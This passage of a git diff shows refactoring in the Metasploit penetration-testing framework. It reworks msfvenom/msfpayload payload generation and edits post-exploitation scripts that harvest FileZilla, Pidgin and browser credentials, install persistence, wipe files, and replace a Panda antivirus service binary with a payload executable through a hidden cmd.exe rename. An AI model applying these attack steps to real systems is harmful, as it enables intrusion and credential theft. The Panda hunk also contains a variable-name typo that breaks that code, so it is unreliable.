+    session.railgun.kernel32.CloseHandle(handle)
     change_mace(file)
 
     #Generate a long random file name before delete it
@@ -139,7 +139,7 @@ class Metasploit3 < Msf::Post
     print_status("Changing file name")
 
     #http://msdn.microsoft.com/en-us/library/windows/desktop/aa365239(v=vs.85).aspx
-    client.railgun.kernel32.MoveFileA(file,newname)
+    session.railgun.kernel32.MoveFileA(file,newname)
 
     file_rm(newname)
     print_good("File erased!")
@@ -148,7 +148,7 @@ class Metasploit3 < Msf::Post
   #Check if the file is encrypted or compressed
   def comp_encr(file)
     #http://msdn.microsoft.com/en-us/library/windows/desktop/aa364944(v=vs.85).aspx
-    handle=client.railgun.kernel32.GetFileAttributesA(file)
+    handle=session.railgun.kernel32.GetFileAttributesA(file)
     type= handle['return']
 
     #FILE_ATTRIBUTE_COMPRESSED=0x800
diff --git a/modules/post/windows/recon/computer_browser_discovery.rb b/modules/post/windows/recon/computer_browser_discovery.rb
index 1b03b5f375..676c0e7491 100644
--- a/modules/post/windows/recon/computer_browser_discovery.rb
+++ b/modules/post/windows/recon/computer_browser_discovery.rb
@@ -115,17 +115,13 @@ class Metasploit3 < Msf::Post
       netview.each do |x|
         vprint_status("Looking up IP for #{x[:cname]}")
         print '.'
-        result = client.railgun.ws2_32.getaddrinfo(x[:cname], nil, nil, 4 )
-        if result['GetLastError'] == 11001
+        result = client.net.resolve.resolve_host(x[:cname])
+        if result[:ip].nil? or result[:ip].blank?
           print_error("There was an error resolving the IP for #{x[:cname]}")
           next
+        else
+         x[:ip] =  result[:ip]
         end
-        addrinfo = client.railgun.memread( result['ppResult'], size )
-        ai_addr_pointer = addrinfo[addrinfoinmem,4].unpack('L').first
-        sockaddr = client.railgun.memread( ai_addr_pointer, size/2 )
-        ip = sockaddr[4,4].unpack('N').first
-        x[:ip] = Rex::Socket.addr_itoa(ip)
-        x[:ip] = '' unless x[:ip]
       end
     rescue ::Exception => e
       print_error(e)
diff --git a/modules/post/windows/recon/resolve_hostname.rb b/modules/post/windows/recon/resolve_hostname.rb
index 0eca43f92d..37befc65e2 100644
--- a/modules/post/windows/recon/resolve_hostname.rb
+++ b/modules/post/windows/recon/resolve_hostname.rb
@@ -7,6 +7,9 @@ require 'msf/core'
 require 'rex'
 
 class Metasploit3 < Msf::Post
+  require 'msf/core/module/deprecated'
+  include Msf::Module::Deprecated
+  deprecated Date.new(2014, 03, 24), 'post/multi/gather/resolve_hosts'
 
   def initialize(info={})
     super( update_info( info,
@@ -34,27 +37,17 @@ class Metasploit3 < Msf::Post
   end
 
   def resolve_hostname(hostname)
-
-    if client.platform =~ /^x64/
-      size = 64
-      addrinfoinmem = 32
-    else
-      size = 32
-      addrinfoinmem = 24
-    end
-
     begin
       vprint_status("Looking up IP for #{hostname}")
-      result = client.railgun.ws2_32.getaddrinfo(hostname, nil, nil, 4 )
-      if result['GetLastError'] == 11001
+      result = client.net.resolve.resolve_host(hostname)
+      if result[:ip].nil? or result[:ip].blank?
         print_error("Failed to resolve #{hostname}")
         return
+      else
+        hostip = result[:ip]
       end
-      addrinfo = client.railgun.memread( result['ppResult'], size )
-      ai_addr_pointer = addrinfo[addrinfoinmem,4].unpack('L').first
-      sockaddr = client.railgun.memread( ai_addr_pointer, size/2 )
-      ip = sockaddr[4,4].unpack('N').first
-      hostip = Rex::Socket.addr_itoa(ip)
+
+
       print_status("#{hostname} resolves to #{hostip}")
 
       if datastore['SAVEHOSTS']
diff --git a/msfencode b/msfencode
index 33d6fc8e10..8ecd6a3993 100755
--- a/msfencode
+++ b/msfencode
@@ -133,7 +133,7 @@ altexe   = nil
 inject   = false
 exedir   = nil  # use default
 
-# Parse the argument and rock that shit.
+# Parse the argument and rock it
 $args.parse(ARGV) { |opt, idx, val|
   case opt
     when "-i"
diff --git a/msfpayload b/msfpayload
index 5186274f92..46e125b7a3 100755
--- a/msfpayload
+++ b/msfpayload
@@ -38,7 +38,7 @@ end
 cmd = nil
 rest = []
 
-# Parse the argument and rock that shit.
+# Parse the argument and rock it
 $args.parse(ARGV) { |opt, idx, val|
   #puts "opt[%d]: #{opt.inspect} / #{val.inspect}" % idx
 
@@ -114,9 +114,15 @@ cmd = rest.pop.downcase
 options = {}
 rest.each do |x|
   k,v = x.split("=", 2)
-  options[k] = v.to_s
+  options[k.upcase] = v.to_s
 end
 
+# if LHOST is not set auto set it
+if payload_name =~ /[\_\/]reverse/ and options['LHOST'].nil?
+  options['LHOST'] = Rex::Socket.source_address
+end
+
+
 payload.datastore.merge! options
 
 if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/)
@@ -213,7 +219,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/)
     plat = payload.platform.platforms
 
     exe  = Msf::Util::EXE.to_executable($framework, arch, plat, buf)
-    if(!exe and plat.index(Msf::Module::Platform::Java))
+    if (!exe && payload.respond_to?(:generate_war))
       exe = payload.generate_war.pack
     elsif exe
       exe  = Msf::Util::EXE.to_jsp_war(exe)
diff --git a/msfvenom b/msfvenom
index ae4ac54e77..ae0971ed0c 100755
--- a/msfvenom
+++ b/msfvenom
@@ -15,31 +15,17 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
 require 'rex'
 require 'msf/ui'
 require 'msf/base'
+require 'msf/core/payload_generator'
+
 
-# Mad payload generation
-#
-# @example
-#   venom = MsfVenom.new
-#   # ARGV will be parsed destructively!
-#   venom.parse_args(ARGV)
-#   $stdout.puts venom.generate
-class MsfVenom
   class MsfVenomError < StandardError; end
   class UsageError < MsfVenomError; end
   class NoTemplateError < MsfVenomError; end
   class IncompatibleError < MsfVenomError; end
 
-  Status = "[*] "
-  Error = "[-] "
 
   require 'optparse'
 
-  def initialize(in_stream=$stdin, out_stream=$stdout, err_stream=$stderr, framework=nil)
-    @in = in_stream
-    @out = out_stream
-    @err = err_stream
-    @framework = framework
-  end
 
   # Creates a new framework object.
   #
@@ -64,13 +50,10 @@ class MsfVenom
     @framework
   end
 
-  # Initialize the options for this run from ARGV
-  # @param args [Array] Usually ARGV. Parsed destructively.
-  # @return [void]
-  # @raise [UsageError] When given invalid options
+
   def parse_args(args)
-    @opts = {}
-    @datastore = {}
+    opts = {}
+    datastore = {}
     opt = OptionParser.new
     opt.banner = "Usage: #{$0} [options] <var=val>"
     opt.separator('')
@@ -78,9 +61,9 @@ class MsfVenom
 
     opt.on('-p', '--payload    <payload>', String, 'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p|
       if p == '-'
-        @opts[:payload] = 'stdin'
+        opts[:payload] = 'stdin'
       else
-        @opts[:payload] = p
+        opts[:payload] = p
       end
     end
 
@@ -88,56 +71,55 @@ class MsfVenom
       if l.nil? or l.empty?
         l = ["all"]
       end
-      @opts[:list] = l
+      opts[:list] = l
     end
 
     opt.on('-n', '--nopsled    <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
-      @opts[:nopsled] = n.to_i
+      opts[:nops] = n.to_i
     end
 
     opt.on('-f', '--format     <format>', String, "Output format (use --help-formats for a list)") do |f|
-      @opts[:format] = f
+      opts[:format] = f
     end
 
     opt.on('-e', '--encoder    [encoder]', String, 'The encoder to use') do |e|
-      @opts[:encode] = true
-      @opts[:encoder] = e
+      opts[:encoder] = e
     end
 
     opt.on('-a', '--arch       <architecture>', String, 'The architecture to use') do |a|
-      @opts[:arch] = a
+      opts[:arch] = a
     end
 
     opt.on('--platform   <platform>', String, 'The platform of the payload') do |l|
-      @opts[:platform] = l
+      opts[:platform] = l
     end
 
     opt.on('-s', '--space      <length>', Integer, 'The maximum size of the resulting payload') do |s|
-      @opts[:space] = s
+      opts[:space] = s
     end
 
     opt.on('-b', '--bad-chars  <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
-      @opts[:badchars] = b
+      opts[:badchars] = b
     end
 
     opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
-      @opts[:iterations] = i
+      opts[:iterations] = i
     end
 
     opt.on('-c', '--add-code   <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
-      @opts[:addshellcode] = x
+      opts[:add_code] = x
     end
 
     opt.on('-x', '--template   <path>', String, 'Specify a custom executable file to use as a template') do |x|
-      @opts[:template] = x
+      opts[:template] = x
     end
 
     opt.on('-k', '--keep', 'Preserve the template behavior and inject the payload as a new thread') do
-      @opts[:inject] = true
+      opts[:keep] = true
     end
 
     opt.on('-o', '--options', "List the payload's standard options") do
-      @opts[:list_options] = true
+      opts[:list_options] = true
     end
 
     opt.on_tail('-h', '--help', 'Show this message') do
@@ -161,76 +143,52 @@ class MsfVenom
       raise UsageError, "Missing required argument for option\n#{opt}"
     end
 
-    if @opts.empty?
+    if opts.empty?
       raise UsageError, "No options\n#{opt}"
     end
 
     if args
       args.each do |x|
         k,v = x.split('=', 2)
-        @datastore[k.upcase] = v.to_s
+        datastore[k.upcase] = v.to_s
+      end
+      if opts[:payload].to_s =~ /[\_\/]reverse/ and datastore['LHOST'].nil?
+        datastore['LHOST'] = Rex::Socket.source_address
       end
     end
 
-    if @opts[:payload].nil? # if no payload option is selected assume we are reading it from stdin
-      @opts[:payload] = "stdin"
-    end
-  end
-
-  def print_status(msg)
-    @err.puts(Status + msg)
-  end
-
-  def print_error(msg)
-    @err.puts(Error + msg)
-  end
-
-  def get_encoders(arch, encoder)
-    encoders = []
-
-    if (encoder)
-      encoders << framework.encoders.create(encoder)
-    else
-      framework.encoders.each_module_ranked(
-          'Arch' => arch ? arch.split(',') : nil) { |name, mod|
-        encoders << mod.new
-      }
+    if opts[:payload].nil? # if no payload option is selected assume we are reading it from stdin
+      opts[:payload] = "stdin"
     end
 
-    encoders
+    if opts[:payload] == 'stdin' and not opts[:list]
+      $stderr.puts "Attempting to read payload from STDIN..."
+      begin
+        ::Timeout.timeout(30) do
+          opts[:stdin] = payload_stdin
+        end
+      rescue Timeout::Error
+        opts[:stdin] = ''
+      end
+    end
+
+    opts[:datastore] = datastore
+
+    opts
   end
 
+
   # Read a raw payload from stdin (or whatever IO object we're currently
   # using as stdin, see {#initialize})
   #
   # @return [String]
   def payload_stdin
+    @in = $stdin
     @in.binmode
     payload = @in.read
     payload
   end
 
-  def generate_nops(arch, len, nop_mod=nil, nop_opts={})
-    nop_opts['BadChars'] ||= ''
-    nop_opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]
-
-    if nop_mod
-      nop = framework.nops.create(nop_mod)
-      raw = nop.generate_sled(len, nop_opts)
-      return raw if raw
-    end
-
-    framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
-      begin
-        nop = framework.nops.create(name)
-        raw = nop.generate_sled(len, nop_opts)
-        return raw if raw
-      rescue
-      end
-    end
-    nil
-  end
-
   def dump_payloads
     init_framework(:module_types => [ ::Msf::MODULE_PAYLOAD ])
     tbl = Rex::Ui::Text::Table.new(
@@ -290,219 +248,58 @@ class MsfVenom
     "\n" + tbl.to_s + "\n"
   end
 
-  # @return [String] A raw shellcode blob
-  # @return [nil] When commandline options conspire to produce no output
-  def generate_raw_payload
 
-    if @opts[:payload] == 'stdin'
-      payload_raw = payload_stdin
-      if @opts[:encode] and (@opts[:arch].nil? or @opts[:platform].nil?)
-        print_error("Cannot encode stdin payload without specifying the proper architecture and platform")
-        @opts[:encode] = false
-      end
-      # defaults for stdin payloads users should define them
-      unless @opts[:arch]
-        print_error("Defaulting to x86 architecture for stdin payload, use -a to change")
-        @opts[:arch] = "x86"
-      end
-      unless @opts[:platform]
-        print_error("Defaulting to Windows platform for stdin payload, use --platform to change")
-        @opts[:platform] = ::Msf::Module::PlatformList.transform("Windows")
-      end
-    else
-      payload = framework.payloads.create(@opts[:payload])
-      if payload.nil?
-        raise UsageError, "Invalid payload: #{@opts[:payload]}"
-      end
-      @opts[:arch]     ||= payload.arch[0]
-      # If it's not stdin, we'll already have a PlatformList
-      @opts[:platform] ||= payload.platform
-      payload.datastore.merge! @datastore
 
-      if @opts[:list_options]
-        print_status("Options for #{payload.fullname}\n\n" +
-           ::Msf::Serializer::ReadableText.dump_module(payload,'    '))
-        return
-      end
-      payload_raw = payload.generate_simple(
-        'Format'   => 'raw',
-        'Options'  => @datastore,
-        'Encoder'  => nil)
-    end
+if __FILE__ == $0
 
-    payload_raw
+  begin
+    generator_opts = parse_args(ARGV)
+  rescue MsfVenomError, Msf::OptionValidateError => e
+    $stderr.puts e.message
+    exit(-1)
   end
 
-
-  # Main dispatch method to do the right thing with the given options.
-  def generate
-    if @opts[:list]
-      @opts[:list].each do |mod|
-        case mod.downcase
+  if generator_opts[:list]
+    generator_opts[:list].each do |mod|
+      case mod.downcase
         when "payloads"
-          @err.puts dump_payloads
+          $stderr.puts dump_payloads
         when "encoders"
-          @err.puts dump_encoders(@opts[:arch])
+          $stderr.puts dump_encoders(generator_opts[:arch])
         when "nops"
-          @err.puts dump_nops
+          $stderr.puts dump_nops
         when "all"
           # Init here so #dump_payloads doesn't create a framework with
           # only payloads, etc.
           init_framework
-          @err.puts dump_payloads
-          @err.puts dump_encoders
-          @err.puts dump_nops
+          $stderr.puts dump_payloads
+          $stderr.puts dump_encoders
+          $stderr.puts dump_nops
         else
-          raise UsageError, "Invalid module type"
-        end
-      end
-      return
-    end
-
-    # Normalize the options
-    @opts[:platform] = ::Msf::Module::PlatformList.transform(@opts[:platform]) if @opts[:platform]
-    @opts[:badchars] = Rex::Text.hex_to_raw(@opts[:badchars])                if @opts[:badchars]
-    @opts[:format]   ||= 'ruby'
-    @opts[:encoder]  ||= nil
-    @opts[:encode]   ||= !(@opts[:badchars].nil? or @opts[:badchars].empty?)
-
-
-    payload_raw = generate_raw_payload
-    return unless payload_raw
-
-    if @opts[:template]
-      unless File.exist?(@opts[:template])
-        raise NoTemplateError, "Template file (#{@opts[:template]}) does not exist"
-      end
-      path = File.dirname(@opts[:template])
-      altexe = File.basename(@opts[:template])
-    end
-    exeopts = { :inject => @opts[:inject], :template_path => path, :template => altexe }
-
-    # If we were given addshellcode for a win32 payload,
-    # create a double-payload; one running in one thread, one running in the other
-    if @opts[:addshellcode] and @opts[:platform].platforms.include?(::Msf::Module::Platform::Windows) and @opts[:arch] == 'x86'
-      payload_raw = ::Msf::Util::EXE.win32_rwx_exec_thread(payload_raw,0,'end')
-      file = ::File.new(@opts[:addshellcode])
-      file.binmode
-      payload_raw << file.read
-      file.close
-    end
-
-    if @opts[:encode]
-      done = false
-      encoders = get_encoders(@opts[:arch], @opts[:encoder])
-      encoders.each do |enc|
-        next if not enc
-        begin
-          break if done
-          enc.datastore.import_options_from_hash(@datastore)
-          skip = false
-          raw = nil
-
-          @opts[:iterations] ||= 1
-
-          1.upto(@opts[:iterations].to_i) do |iteration|
-            begin
-              raw = enc.encode(payload_raw.dup, @opts[:badchars], nil, @opts[:platform])
-            rescue ::Msf::EncodingError
-              print_error("#{enc.refname} failed: #{$!.class} : #{$!}")
-              skip = true
-              break
-            end
-            if @opts[:space] and @opts[:space] > 0 and raw.length > @opts[:space]
-              print_error("#{enc.refname} created buffer that is too big (#{raw.length})\n\n")
-              skip = true
-              break
-            end
-
-            print_status("#{enc.refname} succeeded with size #{raw.length} (iteration=#{iteration})\n")
-            payload_raw = raw.dup
-            if iteration == @opts[:iterations]
-              done = true
-              break
-            end
-          end
-          next if skip
-
-        rescue ::Errno::ENOENT, ::Errno::EINVAL
-          print_error("#{enc.refname} failed: #{$!}")
-          break
-
-        rescue => e
-          print_error("#{enc.refname} failed: #{e.class} #{e}")
-          e.backtrace.each { |el|
-            @err.puts(el.to_s)
-          }
-        end
+          $stderr.puts "Invalid module type"
       end
     end
-
-    if @opts[:nopsled]
-      nopts = { 'BadChars' => @opts[:badchars] }
-      nops = generate_nops([@opts[:arch]], @opts[:nopsled], nil, nopts)
-      payload_raw = nops + payload_raw
-    end
-
-    @out.binmode
-
-    case @opts[:format].downcase
-    # Special-case this to check endianness
-    when "js_be"
-
-      if Rex::Arch.endian(payload.arch) != ENDIAN_BIG
-          raise IncompatibleError, "Big endian format selected for a non big endian payload"
-      end
-      @out.write ::Msf::Simple::Buffer.transform(payload_raw, @opts[:format])
-
-    # Special-case this so we can build a war directly from the payload if
-    # possible
-    when "war"
-      exe = ::Msf::Util::EXE.to_executable_fmt(framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts)
-      if (!exe && payload.respond_to?(:generate_war))
-        exe = payload.generate_war.pack
-      end
-      @out.write exe
-
-    # Same as war, special-case this so we can build a jar directly from the
-    # payload if possible
-    when "java"
-      exe = ::Msf::Util::EXE.to_executable_fmt(framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts)
-      if (!exe && payload.respond_to?(:generate_jar))
-        exe = payload.generate_jar.pack
-      end
-      if exe
-        @out.write exe
-      else
-        print_error("Could not generate payload format")
-      end
-
-    when *::Msf::Simple::Buffer.transform_formats
-      buf = ::Msf::Simple::Buffer.transform(payload_raw, @opts[:format])
-      @out.write buf
-
-    when *::Msf::Util::EXE.to_executable_fmt_formats
-      exe = ::Msf::Util::EXE.to_executable_fmt(framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts)
-      if exe.nil?
-        raise IncompatibleError, "This format does not support that platform/architecture"
-      end
-      @out.write exe
-
-    else
-      raise IncompatibleError, "Unsupported format"
-      return
-    end
+    exit(0)
   end
-end
 
+  if generator_opts[:list_options]
+    payload_mod = framework.payloads.create(generator_opts[:payload])
+    $stderr.puts "Options for #{payload_mod.fullname}\n\n" + ::Msf::Serializer::ReadableText.dump_module(payload_mod,'    ')
+    exit(0)
+  end
+
+  generator_opts[:framework] = framework
+  generator_opts[:cli] = true
 
-if __FILE__ == $0
   begin
-    venom = MsfVenom.new
-    venom.parse_args(ARGV)
-    venom.generate
-  rescue MsfVenom::MsfVenomError, Msf::OptionValidateError => e
+    venom_generator =  Msf::PayloadGenerator.new(generator_opts)
+    payload = venom_generator.generate_payload
+  rescue ::Exception => e
     $stderr.puts e.message
-    exit(-1)
   end
+
+  output_stream = $stdout
+  output_stream.binmode
+  output_stream.write payload
+
 end
diff --git a/scripts/meterpreter/dumplinks.rb b/scripts/meterpreter/dumplinks.rb
index 444aa18439..0f77699f1b 100644
--- a/scripts/meterpreter/dumplinks.rb
+++ b/scripts/meterpreter/dumplinks.rb
@@ -61,7 +61,7 @@ def enum_users(os)
   user = @client.sys.config.getuid
   userpath = nil
   useroffcpath = nil
-  sysdrv = @client.fs.file.expand_path("%SystemDrive%")
+  sysdrv = @client.sys.config.getenv('SystemDrive')
   if os =~ /Windows 7|Vista|2008/
     userpath = sysdrv + "\\Users\\"
     lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\"
@@ -83,7 +83,7 @@ def enum_users(os)
       users << userinfo
     end
   else
-    uservar = @client.fs.file.expand_path("%USERNAME%")
+    uservar = @client.sys.config.getenv('USERNAME')
     userinfo['username'] = uservar
     userinfo['userpath'] = userpath + uservar + lnkpath
     userinfo['useroffcpath'] = userpath + uservar + officelnkpath
diff --git a/scripts/meterpreter/duplicate.rb b/scripts/meterpreter/duplicate.rb
index 9b072f511a..8771a3d139 100644
--- a/scripts/meterpreter/duplicate.rb
+++ b/scripts/meterpreter/duplicate.rb
@@ -89,7 +89,7 @@ if client.platform =~ /win32|win64/
     #
     # Upload to the filesystem
     #
-    tempdir = client.fs.file.expand_path("%TEMP%")
+    tempdir = client.sys.config.getenv('TEMP')
     tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
     tempexe.gsub!("\\\\", "\\")
 
diff --git a/scripts/meterpreter/enum_chrome.rb b/scripts/meterpreter/enum_chrome.rb
index bbbb91ca72..e51067256a 100644
--- a/scripts/meterpreter/enum_chrome.rb
+++ b/scripts/meterpreter/enum_chrome.rb
@@ -195,7 +195,7 @@ host = session.session_host
 @log_dir = File.join(Msf::Config.log_directory, "scripts", "enum_chrome", Rex::FileUtils.clean_path(@host_info['Computer']), Time.now.strftime("%Y%m%d.%H%M"))
 ::FileUtils.mkdir_p(@log_dir)
 
-sysdrive = client.fs.file.expand_path("%SYSTEMDRIVE%")
+sysdrive = client.sys.config.getenv('SYSTEMDRIVE')
 os = @host_info['OS']
 if os =~ /(Windows 7|2008|Vista)/
   @profiles_path = sysdrive + "\\Users\\"
@@ -218,7 +218,7 @@ if is_system?
   print_status "users found: #{usernames.join(", ")}"
 else
   print_status "running as user '#{uid}'..."
-  usernames << client.fs.file.expand_path("%USERNAME%")
+  usernames << client.sys.config.getenv('USERNAME')
   prepare_railgun
 end
 
diff --git a/scripts/meterpreter/enum_firefox.rb b/scripts/meterpreter/enum_firefox.rb
index 704fa179c1..b6527aa0e9 100644
--- a/scripts/meterpreter/enum_firefox.rb
+++ b/scripts/meterpreter/enum_firefox.rb
@@ -251,8 +251,9 @@ if client.platform =~ /win32|win64/
   if frfxchk
     user = @client.sys.config.getuid
     if not is_system?
-      usrname = Rex::FileUtils.clean_path(@client.fs.file.expand_path("%USERNAME%"))
-      db_path = @client.fs.file.expand_path("%APPDATA%") + "\\Mozilla\\Firefox\\Profiles"
+      envs = @client.sys.config.getenvs('USERNAME', 'APPDATA')
+      usrname = envs['USERNAME']
+      db_path = envs['APPDATA'] + "\\Mozilla\\Firefox\\Profiles"
       if kill_frfx
         kill_firefox
       end
diff --git a/scripts/meterpreter/enum_powershell_env.rb b/scripts/meterpreter/enum_powershell_env.rb
index b814acd0f4..51a4c7eb33 100644
--- a/scripts/meterpreter/enum_powershell_env.rb
+++ b/scripts/meterpreter/enum_powershell_env.rb
@@ -22,7 +22,7 @@ def enum_users
   users = []
   user = @client.sys.config.getuid
   path4users = ""
-  sysdrv = @client.fs.file.expand_path("%SystemDrive%")
+  sysdrv = @client.sys.config.getenv('SystemDrive')
 
   if os =~ /Windows 7|Vista|2008/
     path4users = sysdrv + "\\Users\\"
@@ -43,7 +43,7 @@ def enum_users
     end
   else
     userinfo = {}
-    uservar = @client.fs.file.expand_path("%USERNAME%")
+    uservar = @client.sys.config.getenv('USERNAME')
     userinfo['username'] = uservar
     userinfo['userappdata'] = path4users + uservar + profilepath
     users << userinfo
@@ -83,7 +83,7 @@ def enum_powershell
     end
     if powershell_version =~ /2./
       print_status("Powershell Modules:")
-      powershell_module_path = @client.fs.file.expand_path("%PSModulePath%")
+      powershell_module_path = @client.sys.config.getenv('PSModulePath')
       @client.fs.dir.foreach(powershell_module_path) do |m|
         next if m =~ /^(\.|\.\.)$/
         print_status("\t#{m}")
diff --git a/scripts/meterpreter/enum_vmware.rb b/scripts/meterpreter/enum_vmware.rb
index 27bd35adcc..78e611ab74 100644
--- a/scripts/meterpreter/enum_vmware.rb
+++ b/scripts/meterpreter/enum_vmware.rb
@@ -223,7 +223,7 @@ def enum_users
   users = []
   user = @client.sys.config.getuid
   path4users = ""
-  sysdrv = @client.fs.file.expand_path("%SystemDrive%")
+  sysdrv = @client.sys.config.getenv('SystemDrive')
 
   if os =~ /7|Vista|2008/
     path4users = sysdrv + "\\users\\"
@@ -244,7 +244,7 @@ def enum_users
     end
   else
     userinfo = {}
-    uservar = @client.fs.file.expand_path("%USERNAME%")
+    uservar = @client.sys.config.getenv('USERNAME')
     userinfo['username'] = uservar
     userinfo['userappdata'] = path4users + uservar + profilepath
     users << userinfo
diff --git a/scripts/meterpreter/get_env.rb b/scripts/meterpreter/get_env.rb
index dde47e4782..00300fa26d 100644
--- a/scripts/meterpreter/get_env.rb
+++ b/scripts/meterpreter/get_env.rb
@@ -18,13 +18,12 @@ def list_env_vars(var_names)
           "Name",
           "Value"
         ])
-  var_names.flatten.each do |v|
-    tbl << [v,@client.fs.file.expand_path("\%#{v}\%")]
+  @client.sys.config.getenvs(*var_names.flatten).each do |k, v|
+    tbl << [k, v]
   end
   print("\n" + tbl.to_s + "\n")
 end
 
-
 opts.parse(args) { |opt, idx, val|
   case opt
   when "-h"
diff --git a/scripts/meterpreter/get_filezilla_creds.rb b/scripts/meterpreter/get_filezilla_creds.rb
index 55e6c2cd3d..1b719d8953 100644
--- a/scripts/meterpreter/get_filezilla_creds.rb
+++ b/scripts/meterpreter/get_filezilla_creds.rb
@@ -114,7 +114,7 @@ def enum_users(os)
   users = []
 
   path4users = ""
-  sysdrv = @client.fs.file.expand_path("%SystemDrive%")
+  sysdrv = @client.sys.config.getenv('SystemDrive')
 
   if os =~ /7|Vista|2008/
     path4users = sysdrv + "\\users\\"
@@ -135,7 +135,7 @@ def enum_users(os)
     end
   else
     userinfo = {}
-    uservar = @client.fs.file.expand_path("%USERNAME%")
+    uservar = @client.sys.config.getenv('USERNAME')
     userinfo['username'] = uservar
     userinfo['userappdata'] = path4users + uservar + path2purple
     users << userinfo
diff --git a/scripts/meterpreter/get_pidgin_creds.rb b/scripts/meterpreter/get_pidgin_creds.rb
index 9edb6df611..9eda3dda41 100644
--- a/scripts/meterpreter/get_pidgin_creds.rb
+++ b/scripts/meterpreter/get_pidgin_creds.rb
@@ -145,7 +145,7 @@ def enum_users(os)
   users = []
 
   path4users = ""
-  sysdrv = @client.fs.file.expand_path("%SystemDrive%")
+  sysdrv = @client.sys.config.getenv('SystemDrive')
 
   if os =~ /Windows 7|Vista|2008/
     path4users = sysdrv + "\\users\\"
@@ -166,7 +166,7 @@ def enum_users(os)
     end
   else
     userinfo = {}
-    uservar = @client.fs.file.expand_path("%USERNAME%")
+    uservar = @client.sys.config.getenv('USERNAME')
     userinfo['username'] = uservar
     userinfo['userappdata'] = path4users + uservar + path2purple
     users << userinfo
diff --git a/scripts/meterpreter/getcountermeasure.rb b/scripts/meterpreter/getcountermeasure.rb
index 63c1b4f1c6..1a689c0008 100644
--- a/scripts/meterpreter/getcountermeasure.rb
+++ b/scripts/meterpreter/getcountermeasure.rb
@@ -301,7 +301,7 @@ def checkdep(session)
   tmpout = ""
   depmode = ""
   # Expand environment %TEMP% variable
-  tmp = session.fs.file.expand_path("%TEMP%")
+  tmp = session.sys.config.getenv('TEMP')
   # Create random name for the wmic output
   wmicfile = sprintf("%.5d",rand(100000))
   wmicout = "#{tmp}\\#{wmicfile}"
diff --git a/scripts/meterpreter/hostsedit.rb b/scripts/meterpreter/hostsedit.rb
index 3a4eff2a73..838993d933 100644
--- a/scripts/meterpreter/hostsedit.rb
+++ b/scripts/meterpreter/hostsedit.rb
@@ -30,7 +30,7 @@ end
 
 record = ""
 #Set path to the hosts file
-hosts = session.fs.file.expand_path("%SYSTEMROOT%")+"\\System32\\drivers\\etc\\hosts"
+hosts = session.sys.config.getenv('SYSTEMROOT')+"\\System32\\drivers\\etc\\hosts"
 #Function check if UAC is enabled
 def checkuac(session)
   winver = session.sys.config.sysinfo
diff --git a/scripts/meterpreter/panda_2007_pavsrv51.rb b/scripts/meterpreter/panda_2007_pavsrv51.rb
index 9ba0d699ed..8994c99784 100644
--- a/scripts/meterpreter/panda_2007_pavsrv51.rb
+++ b/scripts/meterpreter/panda_2007_pavsrv51.rb
@@ -69,16 +69,15 @@ elsif client.platform =~ /win32|win64/
       exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
 
       # Change to our working directory.
-      workingdir = client.fs.file.expand_path("%ProgramFiles%")
-      client.fs.dir.chdir(workingdir + "\\Panda Software\\Panda Antivirus 2007\\")
+      workingdir = client.sys.config.getenv('ProgramFiles') + "\\Panda Software\\Panda Antivirus 2007\\"
+      client.fs.dir.chdir(workindir)
 
       # Create a backup of the original exe.
       print_status("Creating a copy of PAVSRV51 (PAVSRV51_back.EXE)...")
       client.sys.process.execute("cmd.exe /c rename PAVSRV51.EXE PAVSRV51_back.EXE", nil, {'Hidden' => 'true'})
 
       # Place our newly created exe with the orginal binary name.
-      tempdir = client.fs.file.expand_path("%ProgramFiles%")
-      tempexe = tempdir + "\\Panda Software\\Panda Antivirus 2007\\" + "PAVSRV51.EXE"
+      tempexe = workingdir + "PAVSRV51.EXE"
 
       print_status("Sending EXE payload '#{tempexe}'.")
       fd = client.fs.file.new(tempexe, "wb")
diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb
index 4e9a8aa922..6e6418ca79 100644
--- a/scripts/meterpreter/persistence.rb
+++ b/scripts/meterpreter/persistence.rb
@@ -106,7 +106,7 @@ def write_script_to_target(target_dir,vbs)
   if target_dir
     tempdir = target_dir
   else
-    tempdir = @client.fs.file.expand_path("%TEMP%")
+    tempdir = @client.sys.config.getenv('TEMP')
   end
   tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
   fd = @client.fs.file.new(tempvbs, "wb")
diff --git a/scripts/meterpreter/pml_driver_config.rb b/scripts/meterpreter/pml_driver_config.rb
index 625c16aed1..8ae888a4cd 100644
--- a/scripts/meterpreter/pml_driver_config.rb
+++ b/scripts/meterpreter/pml_driver_config.rb
@@ -70,7 +70,7 @@ if client.platform =~ /win32|win64/
       exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
 
       # Place our newly created exe in %TEMP%
-      tempdir = client.fs.file.expand_path("%TEMP%")
+      tempdir = client.sys.config.getenv('TEMP')
       tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
       print_status("Sending EXE payload '#{tempexe}'.")
       fd = client.fs.file.new(tempexe, "wb")
diff --git a/scripts/meterpreter/prefetchtool.rb b/scripts/meterpreter/prefetchtool.rb
index 64eaaecec2..dce4598c09 100644
--- a/scripts/meterpreter/prefetchtool.rb
+++ b/scripts/meterpreter/prefetchtool.rb
@@ -19,7 +19,7 @@ require 'digest/sha1'
   "-l" => [ false,  "Download Prefetch Folder Analysis Log"]
 )
 
-@tempdir = @session.fs.file.expand_path("%TEMP%")
+@tempdir = @session.sys.config.getenv('TEMP')
 
